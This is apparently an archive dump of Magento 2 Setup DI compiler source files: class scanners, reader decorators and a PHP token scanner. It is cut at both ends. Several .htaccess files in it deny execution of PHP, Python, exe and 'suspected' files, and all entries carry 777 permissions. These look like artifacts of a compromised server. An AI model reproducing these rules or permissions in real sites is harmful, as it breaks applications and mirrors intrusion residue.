$this->log->add(Log::COMPILATION_ERROR, $className, $exception->getMessage()); } catch (\ReflectionException $e) { $this->log->add(Log::COMPILATION_ERROR, $className, $e->getMessage()); } } $this->log->report(); return $nameList; } } Magento/Setup/Module/Di/Code/Reader/Decorator/Directory.php000077700000006330151323623130017502 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader\Decorator; use Magento\Setup\Module\Di\Compiler\Log\Log; /** * Class Directory * * @package Magento\Setup\Module\Di\Code\Reader\Decorator */ class Directory implements \Magento\Setup\Module\Di\Code\Reader\ClassesScannerInterface { /** * @var string */ private $current; /** * @var \Magento\Setup\Module\Di\Compiler\Log\Log */ private $log; /** * @var array */ private $relations = []; /** * @var \Magento\Framework\Code\Validator */ private $validator; /** * @var \Magento\Framework\Code\Reader\ClassReader */ private $classReader; /** * @var \Magento\Setup\Module\Di\Code\Reader\ClassesScanner */ private $classesScanner; /** * @param \Magento\Setup\Module\Di\Compiler\Log\Log $log Logging object * @param \Magento\Framework\Code\Reader\ClassReader $classReader * @param \Magento\Setup\Module\Di\Code\Reader\ClassesScanner $classesScanner * @param \Magento\Framework\Code\Validator $validator * @param string $generationDir directory where generated files is */ public function __construct( \Magento\Setup\Module\Di\Compiler\Log\Log $log, \Magento\Framework\Code\Reader\ClassReader $classReader, \Magento\Setup\Module\Di\Code\Reader\ClassesScanner $classesScanner, \Magento\Framework\Code\Validator $validator, $generationDir ) { $this->log = $log; $this->classReader = $classReader; $this->classesScanner = $classesScanner; $this->validator = $validator; $this->generationDir = $generationDir; set_error_handler([$this, 'errorHandler'], E_STRICT); } /** * ErrorHandler for logging * * @param int $errorNumber * @param string $msg * * @return void */ public function errorHandler($errorNumber, $msg) { $this->log->add(Log::COMPILATION_ERROR, $this->current, '#' . $errorNumber . ' ' . $msg); } /** * Retrieves list of classes for given path * * @param string $path path to dir with files * * @return array */ public function getList($path) { foreach ($this->classesScanner->getList($path) as $className) { $this->current = $className; // for errorHandler function try { if ($path != $this->generationDir) { // validate all classes except classes in generation dir $this->validator->validate($className); } $this->relations[$className] = $this->classReader->getParents($className); } catch (\Magento\Framework\Exception\ValidatorException $exception) { $this->log->add(Log::COMPILATION_ERROR, $className, $exception->getMessage()); } catch (\ReflectionException $e) { $this->log->add(Log::COMPILATION_ERROR, $className, $e->getMessage()); } } return $this->relations; } /** * @return array */ public function getRelations() { return $this->relations; } } Magento/Setup/Module/Di/Code/Reader/Decorator/Area.php000077700000002714151323623130016410 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader\Decorator; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use Magento\Setup\Module\Di\Code\Reader\ClassReaderDecorator; use Magento\Framework\Exception\FileSystemException; /** * Class Area * * @package Magento\Setup\Module\Di\Code\Reader\Decorator */ class Area implements \Magento\Setup\Module\Di\Code\Reader\ClassesScannerInterface { /** * @var ClassReaderDecorator */ private $classReaderDecorator; /** * @var ClassesScanner */ private $classesScanner; /** * @param ClassesScanner $classesScanner * @param ClassReaderDecorator $classReaderDecorator */ public function __construct( ClassesScanner $classesScanner, ClassReaderDecorator $classReaderDecorator ) { $this->classReaderDecorator = $classReaderDecorator; $this->classesScanner = $classesScanner; } /** * Retrieves list of classes for given path * * @param string $path path to dir with files * * @return array * @throws FileSystemException */ public function getList($path) { $classes = []; foreach ($this->classesScanner->getList($path) as $className) { $classes[$className] = $this->classReaderDecorator->getConstructor($className); } return $classes; } } Magento/Setup/Module/Di/Code/Reader/Decorator/.htaccess000077700000000177151323623130016626 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Code/Reader/InvalidFileException.php000077700000000334151323623130017657 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader; class InvalidFileException extends \InvalidArgumentException { } Magento/Setup/Module/Di/Code/Reader/FileClassScanner.php000077700000013416151323623130016776 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Module\Di\Code\Reader; /** * Class FileClassScanner */ class FileClassScanner { private const NAMESPACE_TOKENS = [ T_WHITESPACE => true, T_STRING => true, T_NS_SEPARATOR => true ]; private const ALLOWED_OPEN_BRACES_TOKENS = [ T_CURLY_OPEN => true, T_DOLLAR_OPEN_CURLY_BRACES => true, T_STRING_VARNAME => true ]; /** * The filename of the file to introspect * * @var string */ private $filename; /** * The class name found in the file. * * @var bool */ private $className = false; /** * @var array */ private $tokens; /** * Constructor for the file class scanner. Requires the filename * * @param string $filename */ public function __construct($filename) { // phpcs:ignore $filename = realpath($filename); // phpcs:ignore if (!file_exists($filename) || !\is_file($filename)) { throw new InvalidFileException( sprintf( 'The file "%s" does not exist or is not a file', $filename ) ); } $this->filename = $filename; } /** * Retrieves the contents of a file. Mostly here for Mock injection * * @return string */ public function getFileContents() { // phpcs:ignore return file_get_contents($this->filename); } /** * Retrieves the first class found in a class file. * * @return string */ public function getClassName(): string { if ($this->className === false) { $this->className = $this->extract(); } return $this->className; } /** * Extracts the fully qualified class name from a file. * * It only searches for the first match and stops looking as soon as it enters the class definition itself. * * Warnings are suppressed for this method due to a micro-optimization that only really shows up when this logic * is called several millions of times, which can happen quite easily with even moderately sized codebases. * * @SuppressWarnings(PHPMD.CyclomaticComplexity) * @SuppressWarnings(PHPMD.NPathComplexity) * @return string */ private function extract(): string { $namespaceParts = []; $class = ''; $triggerClass = false; $triggerNamespace = false; $braceLevel = 0; $bracedNamespace = false; // phpcs:ignore $this->tokens = token_get_all($this->getFileContents()); foreach ($this->tokens as $index => $token) { $tokenIsArray = is_array($token); // Is either a literal brace or an interpolated brace with a variable if ($token === '{' || ($tokenIsArray && isset(self::ALLOWED_OPEN_BRACES_TOKENS[$token[0]]))) { $braceLevel++; } elseif ($token === '}') { $braceLevel--; } // The namespace keyword was found in the last loop if ($triggerNamespace) { // A string ; or a discovered namespace that looks like "namespace name { }" if (!$tokenIsArray || ($namespaceParts && $token[0] === T_WHITESPACE)) { $triggerNamespace = false; $namespaceParts[] = '\\'; continue; } $namespaceParts[] = $token[1]; // `class` token is not used with a valid class name } elseif ($triggerClass && !$tokenIsArray) { $triggerClass = false; // The class keyword was found in the last loop } elseif ($triggerClass && $token[0] === T_STRING) { $triggerClass = false; $class = $token[1]; } switch ($token[0]) { case T_NAMESPACE: // Current loop contains the namespace keyword. Between this and the semicolon is the namespace $triggerNamespace = true; $namespaceParts = []; $bracedNamespace = $this->isBracedNamespace($index); break; case T_CLASS: // Current loop contains the class keyword. Next loop will have the class name itself. if ($braceLevel == 0 || ($bracedNamespace && $braceLevel == 1)) { $triggerClass = true; } break; } // We have a class name, let's concatenate and return it! if ($class !== '') { $fqClassName = trim(join('', $namespaceParts)) . trim($class); return $fqClassName; } } return $class; } /** * Looks forward from the current index to determine if the namespace is nested in {} or terminated with ; * * @param integer $index * @return bool */ private function isBracedNamespace($index) { $len = count($this->tokens); while ($index++ < $len) { if (!is_array($this->tokens[$index])) { if ($this->tokens[$index] === ';') { return false; } elseif ($this->tokens[$index] === '{') { return true; } continue; } if (!isset(self::NAMESPACE_TOKENS[$this->tokens[$index][0]])) { throw new InvalidFileException('Namespace not defined properly'); } } throw new InvalidFileException('Could not find namespace termination'); } } Magento/Setup/Module/Di/Code/Reader/ClassesScannerInterface.php000077700000000730151323623130020342 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader; /** * Interface ClassesScannerInterface * * @package Magento\Setup\Module\Di\Code\Reader */ interface ClassesScannerInterface { /** * Retrieves list of classes for given path * * @param string $path path to dir with files * * @return array */ public function getList($path); } Magento/Setup/Module/Di/Code/Reader/.htaccess000077700000000177151323623130014704 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Code/Scanner/DirectoryScanner.php000077700000002534151323623130017263 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; class DirectoryScanner { /** * Scan directory * * @param string $dir * @param array $patterns * @param string[] $excludePatterns * @return array */ public function scan($dir, array $patterns = [], array $excludePatterns = []) { $recursiveIterator = new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($dir, \FilesystemIterator::FOLLOW_SYMLINKS) ); $output = []; foreach ($recursiveIterator as $file) { /** @var $file \SplFileInfo */ if ($file->isDir()) { continue; } $filePath = str_replace('\\', '/', $file->getRealPath()); if (!empty($excludePatterns)) { foreach ($excludePatterns as $excludePattern) { if (preg_match($excludePattern, $filePath)) { continue 2; } } } foreach ($patterns as $type => $pattern) { if (preg_match($pattern, $filePath)) { $output[$type][] = $filePath; break; } } } return $output; } } Magento/Setup/Module/Di/Code/Scanner/PluginScanner.php000077700000001716151323623130016556 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; class PluginScanner implements ScannerInterface { /** * Get array of class names * * @param array $files * @return array */ public function collectEntities(array $files) { $pluginClassNames = []; foreach ($files as $fileName) { $dom = new \DOMDocument(); $dom->loadXML(file_get_contents($fileName)); $xpath = new \DOMXPath($dom); /** @var $node \DOMNode */ foreach ($xpath->query('//type/plugin|//virtualType/plugin') as $node) { $pluginTypeNode = $node->attributes->getNamedItem('type'); if ($pluginTypeNode !== null) { $pluginClassNames[] = $pluginTypeNode->nodeValue; } } } return $pluginClassNames; } } Magento/Setup/Module/Di/Code/Scanner/ArrayScanner.php000077700000001122151323623130016365 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; class ArrayScanner implements ScannerInterface { /** * Scan files * * @param array $files * @return array */ public function collectEntities(array $files) { $output = []; foreach ($files as $file) { if (file_exists($file)) { $data = include $file; $output = array_merge($output, $data); } } return $output; } } Magento/Setup/Module/Di/Code/Scanner/XmlScanner.php000077700000010042151323623130016050 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; use Magento\Framework\ObjectManager\Code\Generator\Proxy as ProxyGenerator; class XmlScanner implements ScannerInterface { /** * @var \Magento\Setup\Module\Di\Compiler\Log\Log $log */ protected $_log; /** * @param \Magento\Setup\Module\Di\Compiler\Log\Log $log */ public function __construct(\Magento\Setup\Module\Di\Compiler\Log\Log $log) { $this->_log = $log; } /** * Get array of class names * * @param array $files * @return array */ public function collectEntities(array $files) { $virtualTypes = []; $output = []; $factoriesOutput = []; foreach ($files as $file) { $dom = new \DOMDocument(); $dom->load($file); $xpath = new \DOMXPath($dom); $xpath->registerNamespace("php", "http://php.net/xpath"); $xpath->registerPhpFunctions('preg_match'); $virtualTypeQuery = "//virtualType/@name"; foreach ($xpath->query($virtualTypeQuery) as $virtualNode) { $virtualTypes[] = $virtualNode->nodeValue; } $regex = '/^(.*)\\\(.*)Proxy$/'; $query = "/config/preference[ php:functionString('preg_match', '{$regex}', @type) > 0]/@type | " . "//argument[@xsi:type='object' and php:functionString('preg_match', '{$regex}', text()) > 0] |" . "//item[@xsi:type='object' and php:functionString('preg_match', '{$regex}', text()) > 0] |" . "/config/virtualType[ php:functionString('preg_match', '{$regex}', @type) > 0]/@type"; /** @var \DOMNode $node */ foreach ($xpath->query($query) as $node) { $output[] = $node->nodeValue; } $factoriesOutput = array_merge($factoriesOutput, $this->scanFactories($xpath)); } $output = array_unique($output); $factoriesOutput = array_unique($factoriesOutput); $factoriesOutput = array_diff($factoriesOutput, $virtualTypes); return array_merge($this->_filterEntities($output), $factoriesOutput); } /** * Scan factories from all di.xml and retrieve non virtual one * * @param \DOMXPath $domXpath * @return array */ private function scanFactories(\DOMXPath $domXpath) { $output = []; $regex = '/^(.*)Factory$/'; $query = "//argument[@xsi:type='object' and php:functionString('preg_match', '{$regex}', text()) > 0] |" . "//item[@xsi:type='object' and php:functionString('preg_match', '{$regex}', text()) > 0]"; foreach ($domXpath->query($query) as $node) { $output[] = $node->nodeValue; } return $output; } /** * Filter found entities if needed * * @param array $output * @return array */ protected function _filterEntities(array $output) { $entitySuffix = '\\' . ucfirst(ProxyGenerator::ENTITY_TYPE); $filteredEntities = []; foreach ($output as $className) { $entityName = substr($className, -strlen($entitySuffix)) === $entitySuffix ? substr($className, 0, -strlen($entitySuffix)) : $className; $isClassExists = false; try { $isClassExists = class_exists($className); } catch (\RuntimeException $e) { } if (false === $isClassExists) { if (class_exists($entityName) || interface_exists($entityName)) { $filteredEntities[] = $className; } else { $this->_log->add( \Magento\Setup\Module\Di\Compiler\Log\Log::CONFIGURATION_ERROR, $className, 'Invalid proxy class for ' . substr($className, 0, -5) ); } } } return $filteredEntities; } } Magento/Setup/Module/Di/Code/Scanner/RepositoryScanner.php000077700000004543151323623130017500 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; use Magento\Framework\Autoload\AutoloaderRegistry; /** * Class RepositoryScanner */ class RepositoryScanner implements ScannerInterface { /** * @var bool */ private $useAutoload = true; /** * Get array of class names * * @param array $files * @return array */ public function collectEntities(array $files) { $repositoryClassNames = []; foreach ($files as $fileName) { $dom = new \DOMDocument(); $dom->loadXML(file_get_contents($fileName)); $xpath = new \DOMXPath($dom); /** @var $node \DOMNode */ foreach ($xpath->query('//preference') as $node) { $forType = $node->attributes->getNamedItem('for'); $replacementType = $node->attributes->getNamedItem('type'); if ($forType !== null && $replacementType !== null && (substr($forType->nodeValue, -19) == 'RepositoryInterface') ) { if (!class_exists($replacementType->nodeValue, false) && !AutoloaderRegistry::getAutoloader()->loadClass($replacementType->nodeValue)) { $persistor = str_replace('\\Repository', 'InterfacePersistor', $replacementType->nodeValue); $factory = str_replace('\\Repository', 'InterfaceFactory', $replacementType->nodeValue); $searchResultFactory = str_replace('\\Repository', 'SearchResultInterfaceFactory', $replacementType->nodeValue); $repositoryClassNames[$persistor] = $persistor; $repositoryClassNames[$factory] = $factory; $repositoryClassNames[$searchResultFactory] = $searchResultFactory; $repositoryClassNames[$replacementType->nodeValue] = $replacementType->nodeValue; } } } } return $repositoryClassNames; } /** * Sets autoload flag * * @param boolean $useAutoload * @return void */ public function setUseAutoload($useAutoload) { $this->useAutoload = $useAutoload; } } Magento/Setup/Module/Di/Code/Scanner/CompositeScanner.php000077700000001752151323623130017262 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; class CompositeScanner implements ScannerInterface { /** * @var ScannerInterface[] */ protected $_children = []; /** * Add child scanner * * @param ScannerInterface $scanner * @param string $type * @return void */ public function addChild(ScannerInterface $scanner, $type) { $this->_children[$type] = $scanner; } /** * Scan files * * @param array $files * @return array */ public function collectEntities(array $files) { $output = []; foreach ($this->_children as $type => $scanner) { if (!isset($files[$type]) || !is_array($files[$type])) { continue; } $output[$type] = array_unique($scanner->collectEntities($files[$type])); } return $output; } } Magento/Setup/Module/Di/Code/Scanner/ConfigurationScanner.php000077700000002331151323623130020121 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; use Magento\Framework\App\Area; class ConfigurationScanner { /** * ConfigurationScanner constructor. * * @param \Magento\Framework\App\Config\FileResolver $fileResolver * @param \Magento\Framework\App\AreaList $areaList */ public function __construct( \Magento\Framework\App\Config\FileResolver $fileResolver, \Magento\Framework\App\AreaList $areaList ) { $this->fileResolver = $fileResolver; $this->areaList = $areaList; } /** * Scan configuration files * * @param string $fileName * * @return array of paths to the configuration files */ public function scan($fileName) { $files = []; $areaCodes = array_merge( ['primary', Area::AREA_GLOBAL], $this->areaList->getCodes() ); foreach ($areaCodes as $area) { $files = array_merge_recursive( $files, $this->fileResolver->get($fileName, $area)->toArray() ); } return array_keys($files); } } Magento/Setup/Module/Di/Code/Scanner/InheritanceInterceptorScanner.php000077700000004455151323623130021773 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; use Magento\Framework\ObjectManager\InterceptableValidator; class InheritanceInterceptorScanner implements ScannerInterface { /** * @var InterceptableValidator */ private $interceptableValidator; /** * @param InterceptableValidator $interceptableValidator */ public function __construct(InterceptableValidator $interceptableValidator) { $this->interceptableValidator = $interceptableValidator; } /** * Get intercepted class names * * @param array $classes * @param array $interceptedEntities * @return array */ public function collectEntities(array $classes, array $interceptedEntities = []) { $output = []; foreach ($classes as $class) { foreach ($interceptedEntities as $interceptorClass) { $interceptedEntity = substr($interceptorClass, 0, -12); if (is_subclass_of($class, $interceptedEntity) && $this->interceptableValidator->validate($class)) { $reflectionClass = new \ReflectionClass($class); if (!$reflectionClass->isAbstract() && !$reflectionClass->isFinal()) { $output[] = $class . '\\Interceptor'; } } } } $output = array_merge($this->filterOutAbstractClasses($interceptedEntities), $output); $output = array_unique($output); return $output; } /** * Filter out Interceptors defined for abstract classes * * @param string[] $interceptedEntities * @return string[] */ private function filterOutAbstractClasses($interceptedEntities) { $interceptedEntitiesFiltered = []; foreach ($interceptedEntities as $interceptorClass) { $interceptedEntity = substr($interceptorClass, 0, -12); $reflectionInterceptedEntity = new \ReflectionClass($interceptedEntity); if (!$reflectionInterceptedEntity->isAbstract() && !$reflectionInterceptedEntity->isFinal()) { $interceptedEntitiesFiltered[] = $interceptorClass; } } return $interceptedEntitiesFiltered; } } Magento/Setup/Module/Di/Code/Scanner/ScannerInterface.php000077700000000642151323623130017215 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; /** * Interface \Magento\Setup\Module\Di\Code\Scanner\ScannerInterface * */ interface ScannerInterface { /** * Get array of class names * * @param array $files * @return array */ public function collectEntities(array $files); } Magento/Setup/Module/Di/Code/Scanner/ServiceDataAttributesScanner.php000077700000002134151323623130021554 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; /** * Class ServiceDataAttributesScanner */ class ServiceDataAttributesScanner implements ScannerInterface { /** * Scan provided extension_attributes.xml and find extenstion classes. * * @param array $files * @return array */ public function collectEntities(array $files) { $extensionClasses = []; foreach ($files as $fileName) { $dom = new \DOMDocument(); $dom->loadXML(file_get_contents($fileName)); $xpath = new \DOMXPath($dom); /** @var $node \DOMNode */ foreach ($xpath->query('//extension_attributes') as $node) { $forType = $node->attributes->getNamedItem('for')->nodeValue; $extensionClasses[] = str_replace('Interface', 'ExtensionInterface', $forType); $extensionClasses[] = str_replace('Interface', 'Extension', $forType); } } return $extensionClasses; } } Magento/Setup/Module/Di/Code/Scanner/.htaccess000077700000000177151323623130015073 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Code/Scanner/PhpScanner.php000077700000024436151323623130016053 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Module\Di\Code\Scanner; use Magento\Framework\Api\Code\Generator\ExtensionAttributesGenerator; use Magento\Framework\Api\Code\Generator\ExtensionAttributesInterfaceGenerator; use Magento\Framework\ObjectManager\Code\Generator\Factory as FactoryGenerator; use Magento\Framework\Reflection\TypeProcessor; use Magento\Setup\Module\Di\Compiler\Log\Log; /** * Finds factory and extension attributes classes which require auto-generation. */ class PhpScanner implements ScannerInterface { /** * @var Log $log */ protected $_log; /** * @var TypeProcessor */ private $typeProcessor; /** * Initialize dependencies. * * @param Log $log * @param TypeProcessor|null $typeProcessor */ public function __construct(Log $log, TypeProcessor $typeProcessor = null) { $this->_log = $log; $this->typeProcessor = $typeProcessor ?: \Magento\Framework\App\ObjectManager::getInstance()->get(TypeProcessor::class); } /** * Find classes which are used as parameters types of the specified method and are not declared. * * @param string $file * @param \ReflectionClass $classReflection * @param string $methodName * @param string $entityType * @return string[] */ private function findMissingFactories($file, $classReflection, $methodName, $entityType) { $missingClasses = []; if (!$classReflection->hasMethod($methodName)) { return $missingClasses; } $factorySuffix = '\\' . ucfirst(FactoryGenerator::ENTITY_TYPE); $constructor = $classReflection->getMethod($methodName); $parameters = $constructor->getParameters(); /** @var $parameter \ReflectionParameter */ foreach ($parameters as $parameter) { preg_match('/\[\s\<\w+?>\s([\w\\\\]+)/s', $parameter->__toString(), $matches); if (isset($matches[1]) && substr($matches[1], -strlen($entityType)) == $entityType) { $missingClassName = $matches[1]; if ($this->shouldGenerateClass($missingClassName, $entityType, $file)) { if (substr($missingClassName, -strlen($factorySuffix)) == $factorySuffix) { $entityName = rtrim(substr($missingClassName, 0, -strlen($factorySuffix)), '\\'); $this->_log->add( Log::CONFIGURATION_ERROR, $missingClassName, 'Invalid Factory declaration for class ' . $entityName . ' in file ' . $file ); } else { $missingClasses[] = $missingClassName; } } } } return $missingClasses; } /** * Identify source class name for the provided class. * * @param string $missingClassName * @param string $entityType * @return string */ protected function getSourceClassName($missingClassName, $entityType) { $sourceClassName = rtrim(substr($missingClassName, 0, -strlen($entityType)), '\\'); $entityType = lcfirst($entityType); if ($entityType == ExtensionAttributesInterfaceGenerator::ENTITY_TYPE || $entityType == ExtensionAttributesGenerator::ENTITY_TYPE ) { /** Process special cases for extension class and extension interface */ return $sourceClassName . 'Interface'; } elseif ($entityType == FactoryGenerator::ENTITY_TYPE) { $extensionAttributesSuffix = ucfirst(ExtensionAttributesGenerator::ENTITY_TYPE); if (substr($sourceClassName, -strlen($extensionAttributesSuffix)) == $extensionAttributesSuffix) { /** Process special case for extension factories */ $extensionAttributesClass = substr( $sourceClassName, 0, -strlen(ExtensionAttributesGenerator::ENTITY_TYPE) ); $sourceClassName = $extensionAttributesClass . 'Interface'; } } return $sourceClassName; } /** * Fetch factories from class constructor * * @param \ReflectionClass $reflectionClass * @param string $file * @return string[] */ protected function _fetchFactories($reflectionClass, $file) { $absentFactories = $this->findMissingFactories( $file, $reflectionClass, '__construct', ucfirst(FactoryGenerator::ENTITY_TYPE) ); return $absentFactories; } /** * Find missing extension attributes related classes, interfaces and factories. * * @param \ReflectionClass $reflectionClass * @param string $file * @return string[] */ protected function _fetchMissingExtensionAttributesClasses($reflectionClass, $file) { $missingExtensionInterfaces = []; $methodName = 'getExtensionAttributes'; $entityType = ucfirst(\Magento\Framework\Api\Code\Generator\ExtensionAttributesInterfaceGenerator::ENTITY_TYPE); if ($reflectionClass->hasMethod($methodName) && $reflectionClass->isInterface()) { $returnType = $this->typeProcessor->getGetterReturnType( (new \Laminas\Code\Reflection\ClassReflection($reflectionClass->getName()))->getMethod($methodName) ); $missingClassName = $returnType['type']; if ($this->shouldGenerateClass($missingClassName, $entityType, $file)) { $missingExtensionInterfaces[] = $missingClassName; $extension = rtrim(substr($missingClassName, 0, -strlen('Interface')), '\\'); if (!class_exists($extension)) { $missingExtensionInterfaces[] = $extension; } $extensionFactory = $extension . 'Factory'; if (!class_exists($extensionFactory)) { $missingExtensionInterfaces[] = $extensionFactory; } } } return $missingExtensionInterfaces; } /** * Get array of class names * * @param array $files * @return array * @throws \ReflectionException */ public function collectEntities(array $files) { $output = []; foreach ($files as $file) { $classes = $this->getDeclaredClasses($file); foreach ($classes as $className) { $reflectionClass = new \ReflectionClass($className); $output[] = $this->_fetchFactories($reflectionClass, $file); $output[] = $this->_fetchMissingExtensionAttributesClasses($reflectionClass, $file); } } return array_unique(array_merge([], ...$output)); } /** * Fetch namespaces from tokenized PHP file * * @param int $tokenIterator * @param int $count * @param array $tokens * @return string */ protected function _fetchNamespace($tokenIterator, $count, $tokens) { $namespaceParts = []; for ($tokenOffset = $tokenIterator + 1; $tokenOffset < $count; ++$tokenOffset) { if ($tokens[$tokenOffset][0] === T_STRING) { $namespaceParts[] = "\\"; $namespaceParts[] = $tokens[$tokenOffset][1]; } elseif ($tokens[$tokenOffset] === '{' || $tokens[$tokenOffset] === ';') { break; } } return join('', $namespaceParts); } /** * Fetches class name from tokenized PHP file. * * @param string $namespace * @param int $tokenIterator * @param int $count * @param array $tokens * @return string|null */ private function fetchClass($namespace, $tokenIterator, $count, $tokens):? string { // anonymous classes should be omitted if (is_array($tokens[$tokenIterator - 2]) && $tokens[$tokenIterator - 2][0] === T_NEW) { return null; } for ($tokenOffset = $tokenIterator + 1; $tokenOffset < $count; ++$tokenOffset) { if ($tokens[$tokenOffset] !== '{') { continue; } return $namespace . "\\" . $tokens[$tokenIterator + 2][1]; } return null; } /** * Get classes and interfaces declared in the file * * @param string $file * @return array */ private function getDeclaredClasses($file): array { $classes = []; $namespaceParts = []; // phpcs:ignore $tokens = token_get_all(file_get_contents($file)); $count = count($tokens); for ($tokenIterator = 0; $tokenIterator < $count; $tokenIterator++) { if ($tokens[$tokenIterator][0] == T_NAMESPACE) { $namespaceParts[] = $this->_fetchNamespace($tokenIterator, $count, $tokens); } if (($tokens[$tokenIterator][0] == T_CLASS || $tokens[$tokenIterator][0] == T_INTERFACE) && $tokens[$tokenIterator - 1][0] != T_DOUBLE_COLON ) { $class = $this->fetchClass(join('', $namespaceParts), $tokenIterator, $count, $tokens); if ($class !== null && !in_array($class, $classes)) { $classes[] = $class; } } } return $classes; } /** * Check if specified class is missing and if it can be generated. * * @param string $missingClassName * @param string $entityType * @param string $file * @return bool */ private function shouldGenerateClass($missingClassName, $entityType, $file) { try { if (class_exists($missingClassName)) { return false; } } catch (\RuntimeException $e) { //phpcs:ignore } $sourceClassName = $this->getSourceClassName($missingClassName, $entityType); if (!class_exists($sourceClassName) && !interface_exists($sourceClassName)) { $this->_log->add( Log::CONFIGURATION_ERROR, $missingClassName, "Invalid {$entityType} for nonexistent class {$sourceClassName} in file {$file}" ); return false; } return true; } } Magento/Setup/Module/Di/Code/Scanner/XmlInterceptorScanner.php000077700000006240151323623130020274 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; class XmlInterceptorScanner implements ScannerInterface { /** * Get array of interceptor class names * * @param array $files * @return array */ public function collectEntities(array $files) { $output = []; foreach ($files as $file) { $output = array_merge($output, $this->_collectEntitiesFromString(file_get_contents($file))); } $output = array_unique($output); $output = $this->_filterEntities($output); return $output; } /** * Collect entities from XML string * * * @param string $content * @return array */ protected function _collectEntitiesFromString($content) { $output = []; $dom = new \DOMDocument(); $dom->loadXML($content); $xpath = new \DOMXPath($dom); /** @var $entityNode \DOMNode */ foreach ($xpath->query('//type[plugin]|//virtualType[plugin]') as $entityNode) { $attributes = $entityNode->attributes; $type = $attributes->getNamedItem('type'); if ($type !== null) { $output[] = $type->nodeValue; } else { $output[] = $attributes->getNamedItem('name')->nodeValue; } } return $output; } /** * Filter found entities if needed * * @param array $output * @return array */ protected function _filterEntities(array $output) { $filteredEntities = []; foreach ($output as $entityName) { // @todo the controller handling logic below must be removed when controllers become PSR-0 compliant $controllerSuffix = 'Controller'; $pathParts = explode('_', $entityName); if (strrpos( $entityName, $controllerSuffix ) === strlen( $entityName ) - strlen( $controllerSuffix ) && isset( $pathParts[2] ) && !in_array( $pathParts[2], ['Block', 'Helper', 'Model'] ) ) { $this->_handleControllerClassName($entityName); } if (class_exists($entityName) || interface_exists($entityName)) { $filteredEntities[] = $entityName . '\\Interceptor'; } } return $filteredEntities; } /** * Include file with controller declaration if needed * * @param string $className * @return void */ protected function _handleControllerClassName($className) { if (!class_exists($className)) { $className = preg_replace('/[^a-zA-Z0-9_]/', '', $className); $className = preg_replace('/^([0-9A-Za-z]*)_([0-9A-Za-z]*)/', '\\1_\\2_controllers', $className); $filePath = stream_resolve_include_path(str_replace('_', '/', $className) . '.php'); if (file_exists($filePath)) { require_once $filePath; } } } } Magento/Setup/Module/Di/Code/Scanner/InterceptedInstancesScanner.php000077700000002555151323623130021440 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Scanner; class InterceptedInstancesScanner implements ScannerInterface { /** * Get array of class names * * @param array $files * @return array */ public function collectEntities(array $files) { $interceptedInstances = []; foreach ($files as $fileName) { $dom = new \DOMDocument(); $dom->loadXML(file_get_contents($fileName)); $xpath = new \DOMXPath($dom); /** @var $node \DOMNode */ foreach ($xpath->query('//type/plugin|//virtualType/plugin') as $node) { $parentTypeNode = $node->parentNode->attributes->getNamedItem('name'); if ($parentTypeNode === null) { continue; } if (!isset($interceptedInstances[$parentTypeNode->nodeValue])) { $interceptedInstances[$parentTypeNode->nodeValue] = []; } $pluginTypeNode = $node->attributes->getNamedItem('type'); if ($pluginTypeNode !== null) { $interceptedInstances[$parentTypeNode->nodeValue][] = $pluginTypeNode->nodeValue; } } } return $interceptedInstances; } } Magento/Setup/Module/Di/Code/Generator/InterceptionConfigurationBuilder.php000077700000014137151323623130023046 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Generator; use Magento\Framework\App\Area; use 